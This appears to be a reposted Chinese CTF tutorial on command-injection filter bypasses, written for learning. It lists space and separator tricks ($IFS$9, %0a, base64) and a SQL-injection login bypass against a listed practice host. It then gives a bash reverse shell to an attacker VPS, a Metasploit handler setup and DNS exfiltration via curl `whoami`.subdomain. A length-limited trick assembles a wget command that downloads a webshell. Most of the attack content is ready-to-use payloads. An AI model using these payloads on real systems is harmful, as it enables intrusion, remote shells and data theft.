浅谈CTF中命令执行与绕过的小技巧
来源:互联网 发布:淘宝免费申请 编辑:程序博客网 时间:2024/06/06 00:43
*本文原创作者:pupiles,本文属FreeBuf原创奖励计划,未经许可禁止转载
缘起lemon师傅在安全客里发表的一篇文章,总结的很详细,学到了很多姿势。但是在此我还想画蛇添足的做一些补充及解释。补充一下命令执行的漏洞。
空格绕过
<
符号
%09
符号需要php环境,这里就不搭建啦,见谅)
$IFS$9
符号${IFS}
符号
这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
命令分隔符这里介绍5种姿势
%0a
符号
换行符%0d
符号
回车符;
符号
在 shell 中,担任”连续指令”功能的符号就是”分号”&
符号
& 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息,这里36210就是该进程的PID|
符号
管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示
命令终止符
%00%20#
(需要php环境,这里就不搭建啦,见谅)
黑名单绕过
a=l;b=s;$a$b
base64编码
无回显的命令执行
这里先给一个bugku平台的靶机地址:http://47.93.190.246:49165/
这里第一步先用
username=0' union select 1,md5(1)#password=1
绕过,就可以到命令执行界面然而尝试一下发现没有回显这里有3种方法
第一种是利用bash命令并在本地进行nc监听结果查看回连日志,然后就行
先在vps处用nc进行监听
nc -l -p 8080 -vvv
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
第二种是msf反向回连
同样vps用msf监听
vps的msf监听:use exploit/multi/handlerset payload linux/armle/shell/reverse_tcpset lport 8080set lhost xxx.xxx.xxx.xxxset exitonsession falseexploit -j
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
即可getflag
第三种是利用DNS管道解析
这里提供一个在线网址,可以直接进行给一个利用网址:admin.dnslog.link注册一个账号后会分配一个子域名可以利用
|curl `whoami`.xxxx.xxx(子域名)
这样就会在利用网址看到反弹结果。(这里也不演示了,账号忘记了。。。)这里解释一下\
whoami\
因为`反引号在linux下是执行命令的特殊符号,原理请见:http://mp.weixin.qq.com/s/jwqWnP0FHhMoR5b6iCS6NQ
七个字的命令执行
这题是p总在小密圈发表的一篇文章,当时没有做出来,这题是利用重命名文件绕过的,所以可以这样进行调用,因为限制了命令的长度,所以无法直接构造,只能通过文件构造
这里先介绍一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件
进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。
ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n。有了这个基础,我们再来看这道题
<?phpif(strlen($_GET[1])<8){ echo shell_exec($_GET[1]);}?>
简单的代码,可以利用
1>wget\1>域名.\1>com\1>-O\1>she\1>ll.p\1>pls>ash a
这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来
然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序
ls -t>a
网络地址转化为数字地址
网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433
可以直接访问
http://2130706433
或者
http://0x7F000001
这样就可以绕过.的ip过滤,这里给个转化网址:http://www.msxindl.com/tools/ip/ip_num.asp
GCTF RCE
这题过滤了很多东西,下面说一下比较重要的
||&|;|%{}| |''|.|
这里给个payload
%0acat%09%0Acat$IFS$9%0acat<
用%0a绕过curl然后在从我前面绕过空格的payload中随便挑一个没有过滤的
最后总结一下,做命令执行的题首要的是寻找命令执行的点,然后去猜测他的后台语句是如何构造的,过滤了哪些,还剩哪些可以用,这样一个一个排除,最后大都能找出payload最后文末顺便附上本菜鸡的博客:http://pupiles.com
*本文原创作者:pupiles,本文属FreeBuf原创奖励计划,未经许可禁止转载
- 上一篇:我如何找到了Facebook广告服务的信息泄漏漏洞(奖金高达10000美刀)
- 下一篇: 本篇已是最新文章
已有 5 条评论
- littlepotato 2017-06-29回复3楼
哈哈,谢pupiles兄分享,长姿势了!
亮了(0) - math1as 2017-06-29回复4楼
感谢分享,另外 对于 >,+ 等 符号的过滤 , $PS2变量为>,$PS4变量则为+
亮了(1)
- 浅谈CTF中命令执行与绕过的小技巧
- 浅谈CTF中命令执行与绕过的小技巧
- 浅谈CTF中命令执行与绕过的小技巧
- CTF 中 Bash中的小技巧
- CTF中常见的php函数绕过(保持更新)
- 浅谈WAF绕过技巧
- 浅谈WAF绕过技巧
- ctf sql注入关键词绕过【积累中】
- SQL注入防御与绕过的技巧
- IOS-反调试与绕过的技巧
- ANSYS中NUMMRG命令的小技巧
- [CTF]利用CRC32绕过RAR密码(适合于小文本文件)
- DBA日常维护中执行SQL的一些小技巧
- Matlab中提高m文件执行效率的小技巧
- Matlab中提高m文件执行效率的小技巧
- 反调试与绕过的奇淫技巧
- 浅谈我在职场中与人相处的技巧
- 浅谈我在职场中与人相处的技巧
- SBT
- 用canvas的toDataURL()将图片转为dataURL(base64)
- cocos2dx3.x《格斗》类游戏实现人物选择界面(二)
- String对象方法
- HangFire任务调度实例(Console和MVC中)及Log4Net日志配置
- 浅谈CTF中命令执行与绕过的小技巧
- 边数限制最短路
- JSP内置对象
- ERROR: Can't get master address from ZooKeeper; znode data == null
- Android ViewPager+RecyclerView+StaggerLayoutManager瀑布流图片单选实现
- 利用域名在前端取图片
- 关于GreenDao的使用
- 重写(覆盖)、重载、多态
- 发光二极管电路
学习了,不错不错